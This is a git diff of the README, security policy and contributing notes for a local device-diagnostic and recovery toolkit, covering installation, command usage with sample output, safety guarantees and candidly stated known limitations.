false negatives, new module proposals, and feature + requests: use the issue templates in `.github/ISSUE_TEMPLATE/`. +- Security vulnerabilities: **do not open an issue.** See + [SECURITY.md](SECURITY.md). diff --git a/README.md b/README.md index c61f9ab..f73eb8b 100644 --- a/README.md +++ b/README.md @@ -1,44 +1,765 @@ # Multiverse Device Rescue -Multiverse Device Rescue is a local diagnostic, maintenance, and guided -recovery toolkit for macOS, Windows, and Linux. It runs read-only checks by -default and clearly separates observations, manual guidance, and system -changes. +[![tests](https://github.com/lizTheDeveloper/multiverse-device-rescue/actions/workflows/tests.yml/badge.svg)](https://github.com/lizTheDeveloper/multiverse-device-rescue/actions/workflows/tests.yml) +[![docs](https://github.com/lizTheDeveloper/multiverse-device-rescue/actions/workflows/docs.yml/badge.svg)](https://github.com/lizTheDeveloper/multiverse-device-rescue/actions/workflows/docs.yml) +![Python 3.11 | 3.12 | 3.13](https://img.shields.io/badge/python-3.11%20%7C%203.12%20%7C%203.13-blue) +![Platforms: macOS | Windows | Linux](https://img.shields.io/badge/platforms-macOS%20%7C%20Windows%20%7C%20Linux-lightgrey) -## Safe use +A local diagnostic, maintenance, and guided-recovery toolkit for macOS, Windows, +and Linux. It runs read-only checks by default, and it keeps three things +strictly apart: what it observed, what it is telling *you* to do, and what it +actually changed on the machine. -- Start with `rescue` to run checks interactively, or `rescue --auto` for - eligible low-impact actions. -- Review every result before changing security settings or deleting data. -- Use a known-clean device and professional incident-response support when you - suspect an active compromise. -- Do not enter account passwords, recovery codes, or API tokens into the tool. +**Documentation:** +(published by the `docs` workflow; the link only resolves once GitHub Pages is +enabled for the repository) · +[Roadmap](docs/ROADMAP.md) · +[Roadmap status](docs/ROADMAP_STATUS.md) · +[Threat → remediation map](docs/THREAT_REMEDIATION.md) · +[Security policy](SECURITY.md) · +[Contributing](CONTRIBUTING.md) -## Installation +--- -Install from a release artifact or from source with `pip install .`. The -installed package includes the module, profile, guide, and security metadata -needed at runtime. +## What this is -## Support status +You, or someone you are helping, thinks something is wrong with a computer. +Maybe an account was broken into. Maybe the machine got slow and something in +the startup list looks unfamiliar. Maybe a partner or a housemate installed +something. Multiverse Device Rescue is a program you run on that machine to find +out what is observably true about it, and then to walk you through fixing it. -- macOS and Windows have the broadest diagnostic coverage. -- Linux supports profile collection and the modules that explicitly declare - Linux support. -- Mobile-device steps are human-guided; there is no desktop-module support for - Android or iOS. +Two halves: -See `docs/ROADMAP.md` for reliability, security, and capability work in -progress. +- **Modules** — 287 individual checks (disk health, firewall state, SSH + configuration, browser extensions, persistence entries, startup items, mercenary + spyware indicators in phone backups, and so on). A module reports findings. + Fixing is a separate, confirmed step. +- **Guides** — human-led walkthroughs for situations that are mostly *not* on the + computer: recovering from identity theft, doing a full digital security reset + after a compromise, reclaiming a home network. The tool tracks which steps you + have finished; the steps themselves are yours to do. -## Threat coverage +### Who it's for -`docs/THREAT_REMEDIATION.md` maps common threats (AI worms, mobile spyware, -credential compromise, unwanted remote access, …) to the exact `rescue` command -that checks and remediates them. Regenerate it with `rescue threat-remediation`. +- Someone who has been hacked and needs a checklist that does not assume they + are a security engineer. +- The relative who ends up as everyone's tech support at the holidays. +- People helping others in a domestic-abuse, stalking, or harassment context, + where the question "is there monitoring software on this device" needs a + concrete answer. +- Sysadmins and responders who want a fast, scriptable read-only sweep + (`rescue scan --json`) before deciding what to do next. -## Step-by-step guides +### Who it isn't for -- **Check an iPhone/iPad for spyware** — a plain-language, non-technical - walkthrough: `docs/CHECK_IPHONE_FOR_SPYWARE.md` - (one command: `rescue --auto --profile iphone_spyware_check`). +If you are dealing with a live, active compromise on a machine you depend on, +this is not a substitute for professional incident response. See +[Project status](#project-status) for the safety boundary. + +--- + +## Install + +Requires Python 3.11, 3.12, or 3.13. The project is **not on PyPI**; install +from a source checkout. + +```bash +git clone https://github.com/lizTheDeveloper/multiverse-device-rescue.git +cd multiverse-device-rescue +python -m pip install . +rescue version +``` + +`modules/`, `profiles/`, and `guides/` live outside the Python package and ship +as `data_files` (see `setup.py`), so a normal `pip install .` gets a complete, +working tool rather than an engine with nothing to run. Verified here on Linux +by installing into a fresh venv and running `rescue profiles` and +`rescue run disk_space --yes` from `/tmp`, outside the source tree. The +`package` job in `.github/workflows/tests.yml` does the same on Linux, macOS, +and Windows. + +### Development install + +```bash +python -m venv .venv +.venv/bin/python -m pip install -e ".[dev]" +``` + +Optional extras: `.[ai]` pulls in the Anthropic / OpenAI / httpx clients used by +the opt-in AI layer. Nothing in the core tool needs them. + +### Desktop app + +There is an Electron wrapper in `desktop/` that drives the same engine. It is +built in two stages — a PyInstaller single-file `rescue` binary, then the +Electron installer: + +```bash +./scripts/build-macos-app.sh # builds dist/rescue, stages desktop/engine/rescue +scripts\build-windows.bat # Windows: engine + Electron installer +``` + +`scripts/build.py` wraps `pyinstaller rescue.spec` directly if you only want the +standalone binary. There are no prebuilt release artifacts yet; you build them +yourself. + +--- + +## Usage + +Every command below was run against this checkout. Output is real, trimmed for +length where noted. + +### `rescue` — interactive TUI + +Running `rescue` with no subcommand launches a Textual TUI: it scans, groups +findings by category, and lets you drill into a finding and open the remediation +walkthrough attached to it. `g` opens the guides, `q` quits. Progress is stored +in `~/.rescue/sessions` and is shared with `rescue guide` on the command line, +so marking a step done in one place shows up in the other. + +### `rescue scan` — read-only checks + +```console +$ rescue scan +=== process_scanner === +No issues found. +=== linux_journal_errors === +No issues found. +=== linux_service_health === +Found 1 issue(s): + [warning] No time-synchronisation service appears to be running: Nothing on this machine is keeping the clock correct. A drifted clock breaks HTTPS certificate validation, two-factor codes, and scheduled jobs — and it does it in ways that look like a network fault rather than a clock fault, so people chase the wrong problem for hours. + +Checked for: systemd-timesyncd, chronyd, ntpd, ntpsec +=== arp_spoof_check === +Check unavailable: The neighbour table could not be read, or is empty. Check that this machine is connected to the network. +=== disk_space === +Found 4 issue(s): + [critical] Disk /opt/rclone is 100% full: /dev/vdb mounted at /opt/rclone: 9.8 MB used of 9.8 MB (0.0 B free) + [warning] Disk /opt/claude-code is 90% full: /dev/vdc mounted at /opt/claude-code: 274.1 MB used of 304.8 MB (24.6 MB free) +... +``` + +`scan` runs checks only. It never calls a module's `fix()`. Note the third +outcome in that output: `Check unavailable: …` is *not* "healthy" — a check that +could not run says so, because an unsupported or failed check silently reading +as clean is the single worst bug a tool like this can have. + +### `rescue scan --json` — machine-readable output + +```console +$ rescue scan --json | head -40 +{ + "schema_version": 1, + "platform": "linux", + "modules": [ + { + "name": "process_scanner", + "status": "ok", + "error": null, + "findings": [] + }, +``` + +A finding, in full: + +```json +{ + "name": "linux_service_health", + "status": "ok", + "error": null, + "findings": [ + { + "title": "No time-synchronisation service appears to be running", + "description": "Nothing on this machine is keeping the clock correct. …", + "severity": "warning", + "category": "integrity", + "data": { "check": "time_sync_inactive" }, + "confidence": 0.7, + "collected_at": null, + "code": "integrity.linux_service_health.time_sync_inactive" + } + ] +} +``` + +`code` is the stable finding-type identifier that links a finding to a +remediation walkthrough in `guides/remediation/`. `status` is `"ok"` or +`"error"`; `error` carries the reason a check could not run. Serializer: +`rescue/serialize.py`. + +### `rescue run --yes` — run specific modules + +```console +$ rescue run disk_space --yes +System: Ubuntu 24.04.4 LTS 6.18.5-fc-v18 | Intel(R) Xeon(R) Processor @ 2.10GHz | x86_64 +Running 1 module(s)... + +=== disk_space === +Found 4 issue(s): + [critical] Disk /opt/rclone is 100% full: /dev/vdb mounted at /opt/rclone: 9.8 MB used of 9.8 MB (0.0 B free) + [warning] Disk /opt/claude-code is 90% full: /dev/vdc mounted at /opt/claude-code: 274.1 MB used of 304.8 MB (24.6 MB free) + [critical] Disk /mnt/skills/public is 100% full: /dev/vde mounted at /mnt/skills/public: 768.0 KB used of 768.0 KB (0.0 B free) + [critical] Disk /mnt/skills/examples is 100% full: /dev/vdf mounted at /mnt/skills/examples: 5.5 MB used of 5.5 MB (0.0 B free) + +Actions taken: 4 + Disk space report for /opt/rclone: MANUAL ACTION REQUIRED + Disk space report for /opt/claude-code: MANUAL ACTION REQUIRED + Disk space report for /mnt/skills/public: MANUAL ACTION REQUIRED + Disk space report for /mnt/skills/examples: MANUAL ACTION REQUIRED +``` + +`--yes` skips the confirmation prompt. Without it, `rescue run` prints the check +result and then asks `Apply fixes for disk_space? [y/N]` before calling `fix()` +at all (`rescue/cli.py`, the `run` command). + +`MANUAL ACTION REQUIRED` is what an `ActionKind.GUIDANCE` action prints. The +module is telling you what to do; it has changed nothing. Only actions of kind +`MUTATION` that ran and succeeded count as changes to the system — see +[the safety section](#will-this-download-something-malicious) below. + +### `rescue profiles` — list threat-model profiles + +```console +$ rescue profiles +ai_worm_response — AI Worm & Spyware Response + Comprehensive scan for AI-led worm compromise (Shai Halud, Miasma, SANDWORM_MODE, SesameOp) and mobile spyware. … +digital_security_reset — Digital Security Reset + Post-compromise recovery for someone who has been hacked or suspects their accounts or device have been compromised. … +home_for_the_holidays — Home for the Holidays + Help a family member get their device cleaned up, secured, and documented in one visit. … +home_network_intrusion — Home Network Intrusion & Cryptojacking Response + Response for a household whose Wi-Fi has been broken into, and for the cryptojacking and monitoring software that tends to arrive with it. … +identity_theft_recovery — Identity Theft Recovery + Step-by-step recovery for someone whose identity has been stolen: credit and account freezes, the official reports that unlock legal protections, disputing fraudulent accounts, and the long tail of monitoring afterwards. … +iphone_spyware_check — iPhone / iPad Spyware Check + Scans a local iPhone or iPad backup for known mercenary-spyware indicators (Pegasus, Predator, and similar) using Amnesty International's Mobile Verification Toolkit (MVT). … +linux_security_checkup — Linux Security Checkup + A read-only security and health review of a Linux machine, in one command. … Nothing is changed: every module reports what it found and, where there is something to do, tells you the exact command to do it yourself. A check that needs root and does not have it says so rather than reporting a clean result. +``` + +(Descriptions trimmed at `…`; the real output prints them in full.) A profile +narrows the modules that run and names the guides that go with them: +`rescue --auto --profile iphone_spyware_check`, for instance, is the one-command +form of `docs/CHECK_IPHONE_FOR_SPYWARE.md`. + +On Linux, `rescue --auto --profile linux_security_checkup` is the whole review +in one command — firewall state, SSH exposure, who can become root, disk +encryption, boot persistence, pending security updates, failed services, and the +journal errors that precede a drive or memory failure: + +```console +$ rescue --auto --profile linux_security_checkup +... +--- Skipped (requires confirmation) --- + [safe] linux_package_updates: 2 issue(s) + [safe] linux_service_health: 1 issue(s) + [safe] disk_space: 4 issue(s) + [safe] linux_account_audit: 2 issue(s) + [safe] linux_disk_encryption_check: 1 issue(s) + [safe] linux_firewall_check: 1 issue(s) + [safe] linux_persistence_audit: 1 issue(s) + +Run 'rescue run ' to address these individually. +``` + +Note what auto mode did with those: nothing. It found them and stopped. + +### `rescue guide ` — resume a walkthrough + +```console +$ rescue guide digital_security_reset +=== Digital Security Reset: Phase 0 — Emergency Grounding === +Estimated time: 10 minutes + +[human] [pending] Step 1: Ground yourself +[human] [pending] Step 2: Check whether you can still get in +[human] [pending] Step 3: Write down what you've already noticed + +Run again with --complete to mark a step done. +``` + +```console +$ rescue guide digital_security_reset --complete 1 +Marked step 1 complete for phase 0. + +=== Digital Security Reset: Phase 0 — Emergency Grounding === +Estimated time: 10 minutes + +[human] [done] Step 1: Ground yourself +[human] [pending] Step 2: Check whether you can still get in +[human] [pending] Step 3: Write down what you've already noticed + +Run again with --complete to mark a step done. +``` + +Steps are tagged `[human]` or `[automatable]`. A step may only be tagged +automatable if a registered module can actually perform it — `rescue validate` +enforces that (`rescue/validate.py`, `validate_guides`). Finishing every step in +a phase advances you to the next one on the following run. + +### `rescue export` — redacted case report + +```console +$ rescue export +Wrote /root/.rescue/cases/case-20260805T230525Z.json +Wrote /root/.rescue/cases/case-20260805T230525Z.md + +Both files are redacted, but module output is free text — read them before sharing. +``` + +Two files: JSON for tooling, Markdown for people. The Markdown starts like this: + +```markdown +# Rescue case report + +- Generated: 2026-08-05T23:04:03+00:00 +- Profile: none (full scan) +- System: Ubuntu 24.04.4 LTS 6.18.5-fc-v18 (x86_64) + +## Summary + +- Modules run: 26 +- Modules reporting findings: 11 +- Checks that failed to run: 3 +- Checks not supported here: 0 +- Total findings: 16 +- System changes made: 0 +- Manual actions still required: 0 +``` + +Redaction runs on the way out, not as a review step you might forget: +private-key blocks, `Authorization:` headers, `api_key=`/`token=`/`password=` +assignments, GitHub/OpenAI/Slack/AWS/JWT token shapes, email addresses, your +account name, and your home-directory path are all replaced before anything is +written (`rescue/case.py`). Use `--stdout` to print the JSON instead of writing +files, `--output DIR` to write elsewhere, `--profile NAME` to scope it. + +### `rescue validate` — check the shipped catalog + +```console +$ rescue validate +[warning] registry:documentation: 264 of 287 modules have no docstring explaining what they check or why (accessibility_check, accessibility_permissions, ai_threat_indicators, ai_worm_filesystem, ai_worm_git_ssh, and 259 more) + +287 modules, 7 profiles, 110 guide phases checked: 0 error(s), 1 warning(s). +Catalog is consistent. +``` + +Errors mean the catalog is internally broken — duplicate module names, a profile +naming a module that does not exist, a dependency cycle, `auto_apply` on a +non-SAFE module, a guide advertising a step as automatable that nothing can do. +There are currently **0 errors**, and CI gates on that. + +`rescue validate --strict` promotes warnings to failures. **It currently exits +1**, on the one outstanding warning: 264 of 287 modules carry no docstring. That +is a real documentation debt, and `--strict` will keep failing until it is paid +down — which is why CI runs the plain form for now, with the workflow comment +saying exactly what has to be true before `--strict` goes back on. + +### `rescue threat-remediation` — regenerate the threat map + +```console +$ rescue threat-remediation +Wrote /home/user/multiverse-device-rescue/docs/THREAT_REMEDIATION.md (8 threats) +``` + +Generated from `docs/threat_remediation_map.yaml`, and validated against the +live registry first: every module name, profile, and finding code the map +references must exist, or the command prints errors and exits 1 without writing. +The sibling command `rescue remediation-catalog` regenerates +`docs/REMEDIATION_CATALOG.md` the same way. + +### Other commands + +| Command | What it does | +| --- | --- | +| `rescue --auto` | Run all checks unattended. Read-only in practice — see below. | +| `rescue --auto --profile NAME` | Same, scoped to one profile's modules. | +| `rescue update [--check\|--dry-run\|--yes\|--sideload FILE]` | Fetch signed **data** content updates. | +| `rescue update --rollback` | Return to the content version applied before the current one. | +| `rescue update --use-bundled` | Deactivate downloaded content; use what shipped with the install. | +| `rescue trust revoke ID --reason …` / `rescue trust list-revoked` | Stop trusting a content signer on this machine. | +| `rescue explain`, `rescue recommend`, `--copilot` | Opt-in AI layer. Off unless you set an API key or `OLLAMA_HOST`. | +| `rescue version` | `multiverse-device-rescue 0.1.0` | + +--- + +## Will this download something malicious? + +Fair question. It is a security tool that asks you to run it on a machine you +are already worried about. Here is what you can check for yourself, with the +file to read in each case. + +### It does not change anything unless you say so + +`ModuleBase.auto_apply` defaults to `False` (`rescue/module_base.py`). A module +is only mutated-by-default in unattended mode if it *both* sets +`auto_apply = True` *and* declares `RiskLevel.SAFE`. + +**Zero shipped modules set `auto_apply = True`.** Verify it yourself: + +```bash +grep -rn "auto_apply" modules/ --include='*.py' | grep -v __pycache__ +# (no output) +``` + +The only occurrences anywhere in the tree are the default in +`rescue/module_base.py`, the validator that rejects `auto_apply=True` on a +non-SAFE module (`rescue/validate.py`), and test fixtures. So `rescue --auto` is +read-only today, not by policy but by the absence of any opt-in. + +In `rescue run`, a fix runs without asking only when you passed `--yes` or the +module opted in. Otherwise you get `Apply fixes for ? [y/N]` first +(`rescue/cli.py`). + +### Advice is never reported as a change + +`FixResult` has two separate properties (`rescue/models.py`): + +```python +@property +def executed_mutations(self) -> list[Action]: + """Actions that actually changed the system: executed MUTATIONs only. + + Guidance is never a system change, so it is excluded here regardless of + any ``executed``/``success`` flags a module may set on it. + """ + return [a for a in self.actions + if a.kind == ActionKind.MUTATION and a.executed and a.success] + +@property +def guidance_actions(self) -> list[Action]: + return [a for a in self.actions if a.kind == ActionKind.GUIDANCE] +``` + +A module that writes instructions and marks them `success=True` cannot inflate +the change count: `executed_mutations` filters on `kind` first. The auto-mode +summary reports the two separately — "made 0 system change(s); N manual +action(s) require you" — and the per-module report prints guidance as +`MANUAL ACTION REQUIRED` rather than `OK` (`rescue/module_base.py`, `report()`). + +### It checks its own files at launch + +`rescue/security/integrity.py` ships a SHA-256 manifest of every `.py` file in +the `rescue/` package — currently 56 entries in +`rescue/security/integrity_manifest.json` — and recomputes it on every launch. +Modified, missing, *and* unexpectedly added files all fail the check. Module +data and guide Markdown are deliberately excluded, because those are exactly +what `rescue update` is allowed to change. + +Check it yourself, without trusting the tool's own report: + +```bash +python - <<'PY' +from pathlib import Path +from rescue.security.integrity import IntegrityManifest, verify_package_integrity +m = IntegrityManifest.from_json_bytes(Path("rescue/security/integrity_manifest.json").read_bytes()) +r = verify_package_integrity(Path("rescue"), m) +print("ok:", r.ok, "| tampered:", r.tampered, "| missing:", r.missing, "| added:", r.added) +PY +# ok: True | tampered: [] | missing: [] | added: [] +``` + +Or recompute it and diff: + +```bash +python scripts/generate_integrity_manifest.py && git diff --stat rescue/security/integrity_manifest.json +``` + +**Honest limit:** the launch-time check *warns and continues*. Here is a real +warning, captured from this checkout while a file under `rescue/tui/` had been +changed without regenerating the manifest: + +``` +WARNING: rescue's own installed files do not match the expected integrity manifest. + modified: tui/app.py + missing: tui/screens/guide_placeholder.py +Consider reinstalling the tool. Continuing with existing files. +``` + +That goes to stderr, and the tool then runs anyway (`_run_startup_integrity_check` in +`rescue/cli.py` catches every exception and never blocks). It is a tripwire, not +a gate. It is also skipped entirely inside a PyInstaller bundle, where the loose +`.py` files it hashes do not exist on disk. And the manifest is only as good as +the copy you have — it detects post-install tampering, not a bad download. + +### Content updates are data, signed by two people + +`rescue update` pulls from a git content repository. Three things constrain it: + +1. **Two distinct maintainer approvals.** `required_approvals = 2` + (`rescue/update/config.py`). A commit is accepted only when at least two + *different* trusted, non-revoked signers each have a validly-signed git tag + pointing at that exact commit (`rescue/update/verify.py`, + `verify_commit_approval`). Verification uses a throwaway keyring built solely + from the public keys shipped in the package, never your ambient GPG keyring or + SSH allowed-signers file. Anything unexpected is treated as "does not count". +2. **Placeholder keys are rejected.** `validate_trusted_signers` + (`rescue/security/signers.py`) raises if any signer has empty or + `REPLACE_WITH_…` key material, and the update engine calls it at construction. +3. **Data only, never Python.** `validate_content_paths` + (`rescue/update/manifest.py`) restricts updated paths to `modules/`, + `guides/`, `profiles/` with suffixes in `.json .md .toml .txt .yaml .yml` — + no absolute paths, no `..`. At runtime, `rescue/runtime.py` resolves *data* + from applied content (`content_file`, `content_directory`) while executable + module code always comes from `bundled_root()`. An update cannot ship you new + Python. + +**Honest limit:** `rescue/security/trusted_signers.json` in this repository +contains three placeholder entries. There is no real key material yet. The +practical consequence, verified: + +```console +$ rescue update --check +Update failed: trusted signer configuration contains placeholder or missing key material +Continuing with existing content. +$ echo $? +1 +``` + +`rescue update` cannot do anything at all until real maintainer keys exist. The +software guard works; the trust root is not populated. Roadmap P0#3. + +### An update you can back out of + +Two recovery paths, neither of which needs the network +(`rescue/update/engine.py`, `rescue/update/repo.py`): + +```console +$ rescue update --rollback # return to the previously applied content version +$ rescue update --use-bundled # deactivate downloaded content entirely +``` + +`--rollback` re-verifies maintainer approval rather than trusting that the +earlier version was approved when it was applied — a signer can be revoked in +between, and revocation that did not apply to content already on the machine +would just be a note about future downloads. If the previous version no longer +passes, it refuses and points at the other path. + +`--use-bundled` clears the applied-content marker so `rescue/runtime.py` falls +back to the modules, profiles, and guides that shipped inside the install. It +deliberately does not construct the update engine, so it works even when the +trusted-signer configuration is broken or — as in this repository today — not +populated at all. Verified: + +```console +$ rescue update --use-bundled +Updated content is deactivated. The tool will use the modules, profiles and guides +that shipped with the installed package. Nothing was deleted; `rescue update` can +activate downloaded content again. +$ echo $? +0 +``` + +An escape hatch that depends on the thing that failed is not an escape hatch. + +### It does not phone home + +The read-only path — `scan`, `run`, `export`, `validate`, `guide`, `profiles`, +`--auto` — makes no network connections. Nothing is uploaded, no telemetry, no +analytics, no crash reporting. There is no HTTP client anywhere in `rescue/` +outside the AI package — the one hit is the lazy `httpx` import in the Ollama +provider: + +```bash +grep -rn "import httpx\|import requests\|urllib.request" rescue/ --include='*.py' +# rescue/ai/providers/ollama_provider.py:4: import httpx +``` + +Exactly two code paths can reach the network, and both need you to act first: + +- **`rescue update`** runs `git fetch` against the content repo + (`rescue/update/repo.py`). It only ever downloads; it uploads nothing. Today + it fails closed on the placeholder trust config, above. +- **The AI layer** — `--copilot`, `rescue explain`, `rescue recommend` — is off + unless you set `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, or `OLLAMA_HOST` + (`rescue/ai/factory.py` returns `None` otherwise, and the CLI prints + "requested but no AI provider is configured"). When you do turn it on, be + clear-eyed about what it sends: a summary line per finding + (`[category/module] (severity) title: description`, see + `rescue/ai/explainer.py`) goes to the provider you configured. Point + `OLLAMA_HOST` at a local model if you would rather that never leaves the + machine. + +### It never asks for a password, a 2FA code, or a recovery key + +There is no `getpass` prompt and no `hide_input` prompt anywhere in the tool. +The only interactive input in the CLI is `click.confirm` (a y/N question) and +the free-text chat in `rescue recommend`, which is part of the opt-in AI layer. +The one `getpass` import, in `rescue/case.py`, calls `getpass.getuser()` — it +reads your username so it can *redact* it from exports. + +The `digital_security_reset` profile says so in its own description, and it is +structural: changing passwords, enabling 2FA, and revoking sessions all happen +at the provider, in the guide, done by you. The tool reports what is observable +on the device and nothing more. + +### Read any module before you run it + +Every module is a single readable file: + +```bash +less modules/security/linux_ssh_hardening/__init__.py +less modules/performance/disk_space/__init__.py +``` + +Path convention: `modules///__init__.py`, exporting a class named +`Module`. `check()` gathers, `fix()` acts. If a module reads a path or shells +out, you will see it there. For a bulk view, `rescue scan --json` gives you every +finding with its module name, severity, and code, so you can diff runs or feed +them to your own tooling. + +### What is *not* yet true + +Overstating this section would make the rest of it worthless, so: + +- **Module discovery imports arbitrary local Python in-process.** + `discover_modules` (`rescue/registry.py`) does + `spec.loader.exec_module(py_module)` for every `modules/*/*/__init__.py` on + disk. There is no sandbox, no signature check on module code, no subprocess + isolation. Anything that can write into `modules/` gets code execution in the + rescue process the next time it runs — which matters most in exactly the + situation the tool is for. This is roadmap P0#10 and it is not fixed. +- **The trust root is unpopulated.** As above: placeholder signers, so signed + updates cannot be exercised end to end. +- **Command bounding is written but not adopted.** `rescue/command.py` provides + a timeout- and output-capped runner and `rescue/fsbounds.py` provides bounded + traversal, and the orchestrator enforces a 60-second per-module timeout with + daemon-thread isolation (`rescue/orchestrator.py`). But 758 direct + `subprocess.run` calls remain inside `modules/`, and only 14 module files + import `rescue.command`. The session is bounded; individual calls inside a + module often are not. +- **`rescue validate --strict` fails today** — 0 errors, but 264 of 287 modules + have no docstring. CI gates on errors only until that is paid down. +- **CI has not run on this repository yet.** The badges at the top point at real + workflow files; until a push to `main` triggers them they will render as "no + status". + +--- + +## Repository map + +``` +rescue/ The engine. Everything here is bundled, never updatable. +├── cli.py Every command on this page. +├── models.py Finding, CheckResult, FixResult, Action, RiskLevel, Severity. +├── module_base.py ModuleBase: check(), fix(), report(), auto_apply=False. +├── registry.py Module discovery (imports module Python — see P0#10). +├── orchestrator.py Runs checks with a per-module timeout + session budget. +├── command.py Bounded subprocess runner (timeout + output cap). +├── fsbounds.py Bounded filesystem traversal; 3.11-safe no-follow stats. +├── validate.py Whole-catalog validation behind `rescue validate`. +├── case.py Redacted rescue-case export behind `rescue export`. +├── profiles.py, guides.py, session.py, remediation.py, threat_map.py +├── runtime.py Resolves bundled vs. applied content; data-only updates. +├── serialize.py `scan --json` schema. +├── security/ SHA-256 self-integrity manifest + trusted signer config. +├── update/ Signed git content updates: repo, manifest, verify, engine. +├── ai/ Opt-in AI layer (providers, explainer, recommender). +├── profiler/ Per-platform system profile collection. +└── tui/ Textual interface: screens, styles. + +modules///__init__.py One check per directory; class `Module`. +modules///data/*.json Signature/IOC data — updatable content. +profiles/*.yaml Threat-model profiles: which modules run, which guides go with them. +guides//phase_N.md Multi-phase human walkthroughs. +guides/remediation/*.md Per-finding-code fix walkthroughs. +tests/ The pytest suite, one file per module or subsystem. +desktop/ Electron wrapper (main.js, renderer/) around the engine. +scripts/ build.py (PyInstaller), build-macos-app.sh, + build-windows.bat, generate_integrity_manifest.py. +site/ Static landing page + Dockerfile. +docs/ Roadmap, status, threat map, catalogs, design docs. +.github/workflows/ tests.yml, docs.yml. +``` + +### Coverage, by the numbers + +From `rescue validate` and the registry (`rescue/registry.py`) on this checkout: + +| | Count | +| --- | ---: | +| Modules discovered | **287** | +| — declaring macOS support | 199 | +| — declaring Windows support | 100 | +| — declaring Linux support | 26 | +| — supporting all three | 17 | +| Profiles | 7 | +| Guide phases + remediation walkthroughs | 110 | + +By category: security 118, integrity 106, performance 51, network 8, +bloatware 4. + +macOS has the deepest coverage; Windows is next. Linux is newly real rather than +broad — 9 Linux-specific modules (`modules/security/linux_ssh_hardening`, +`linux_firewall_check`, `linux_account_audit`, `linux_persistence_audit`, +`linux_disk_encryption_check`, `modules/integrity/linux_service_health`, +`linux_journal_errors`, `linux_package_updates`, and +`modules/performance/linux_memory_pressure`) plus the cross-platform modules +that declare Linux. Mobile is human-guided only; there are no Android or iOS +device modules, and the iPhone spyware check works on a *backup* stored on the +computer, not on the phone. + +Reproduce the numbers: + +```bash +python -m rescue.cli validate | tail -2 +python -c " +from pathlib import Path +from collections import Counter +from rescue.registry import discover_modules +m = discover_modules(Path('modules')) +print(len(m), Counter(p.value for x in m for p in x.platforms), Counter(x.category for x in m))" +``` + +--- + +## Project status + +Version 0.1.0. Read [docs/ROADMAP_STATUS.md](docs/ROADMAP_STATUS.md) before +trusting anything here — it is candid about which roadmap items were recorded as +done and later turned out not to be, and it is the document this README defers +to. + +**Works today:** read-only scanning on macOS, Windows, and Linux; profile- and +guide-driven walkthroughs with saved progress; the TUI; redacted case export; +whole-catalog validation; the self-integrity manifest; a `pip install .` that +carries its own content. + +**In progress:** routing module subprocess calls through the bounded runner +(758 direct calls remain); remediation-code coverage (~38% of pre-existing +modules declare `emits_codes`); populating `confidence`/`collected_at`/ +`supported` on findings; docstrings for the 264 modules that lack them; process +isolation for module discovery. + +**Needs people, not code:** real maintainer signing keys with custody and +rotation; signed release artifacts and SBOMs; smoke tests on real hardware at +standard and elevated privilege. + +### Safety boundary + +- Run this on a **known-clean device** where you can. A compromised machine can + lie to any tool running on it, this one included. +- If you are dealing with an **active compromise** — money moving, an attacker + currently in your accounts, a business at risk — get professional incident + response. This tool is for finding and cleaning up, not for fighting someone + in real time. +- Review results before changing security settings or deleting anything. A + finding is an observation, not a verdict. +- Do not enter account passwords, recovery codes, or API tokens into this tool. + It will never ask. +- `rescue export` output is redacted but module output is free text. Read a case + file before you paste it anywhere. + +--- + +## Contributing and security + +[CONTRIBUTING.md](CONTRIBUTING.md) covers dev setup, the test suite, catalog +validation, regenerating the integrity manifest (required whenever `rescue/*.py` +changes, or CI fails), and module authoring rules. + +[SECURITY.md](SECURITY.md) covers how to report a vulnerability privately, and +what counts as one here — note that a check reporting a false healthy result is +a security bug in this project, not a cosmetic one. diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..7abbbbf --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,146 @@ +# Security Policy + +## Supported versions + +| Version | Supported | +| --- | --- | +| 0.1.x (`main`) | Yes — fixes land on `main` | +| Anything older | No | + +There are no tagged releases or published binaries yet, so "supported" means the +current `main` branch. When releases begin, this table will name the versions +that receive fixes. + +Supported Python versions are 3.11, 3.12, and 3.13 (`pyproject.toml`, +`requires-python = ">=3.11"`). All three are exercised on Linux, macOS, and +Windows by `.github/workflows/tests.yml`. + +## Reporting a vulnerability + +**Do not open a public issue for a security report.** + +Use GitHub's private vulnerability reporting on this repository: +. +That creates a private advisory only the maintainers can see, and it lets us +coordinate a fix and a disclosure with you. + +Please include, as far as you can: + +- What the flaw is, and which file or module it lives in. +- How to reproduce it. A failing test is the best possible report. +- Operating system, Python version, and how the tool was installed (source + checkout, `pip install .`, PyInstaller binary, desktop app). +- What an attacker gets out of it, and what they need first (local access? the + ability to write into `modules/`? a network position?). +- Whether it is already public anywhere. + +If you have not heard back within a week, escalate by opening a public issue +that says only "I sent a private security report on " — no details. + +We will tell you what we found, what we changed, and when. If you want credit, +say so and how you want to be named; if you would rather stay anonymous, that is +fine too. + +## Threat model, in brief + +This tool exists to be run on a machine somebody already distrusts. That shapes +what it defends against and what it cannot. + +**What it defends against** + +- *Tampering with the tool itself after install.* Every `.py` file in `rescue/` + is hashed into `rescue/security/integrity_manifest.json` and re-verified at + launch; modified, missing, and unexpected added files all fail + (`rescue/security/integrity.py`). +- *A malicious content update.* Content updates require signed git tags from at + least two distinct trusted, non-revoked maintainers + (`rescue/update/verify.py`, `required_approvals = 2` in + `rescue/update/config.py`), verified against a throwaway keyring built only + from the keys shipped in the package — never the operator's ambient GPG + keyring or SSH allowed-signers file. +- *An update that ships code.* Updated content is restricted to `modules/`, + `guides/`, and `profiles/` with data suffixes only + (`validate_content_paths`, `rescue/update/manifest.py`), and executable module + code is always loaded from the bundled root regardless of applied content + (`rescue/runtime.py`). +- *Accidental damage by the tool.* `ModuleBase.auto_apply` defaults `False`, no + shipped module sets it `True`, and `rescue run` confirms before calling + `fix()` unless you passed `--yes`. +- *Leaking secrets through a shared report.* `rescue export` redacts private-key + blocks, authorization headers, key/token/password assignments, common token + shapes, email addresses, the account name, and the home-directory path on the + way out (`rescue/case.py`). +- *A hung or runaway check.* Per-module timeout and session budget in + `rescue/orchestrator.py`; bounded command execution in `rescue/command.py`; + bounded traversal in `rescue/fsbounds.py`. + +**What it does not defend against, and you should assume** + +- *A compromised host lying to it.* Every check reads the system through the + system. A rootkit or a kernel-level implant can make this tool report a clean + machine. Nothing in this tool changes that. +- *Malicious Python inside `modules/`.* Module discovery imports every + `modules/*/*/__init__.py` in-process with no sandbox and no signature check + (`rescue/registry.py`). Write access to that directory is code execution in + the rescue process. 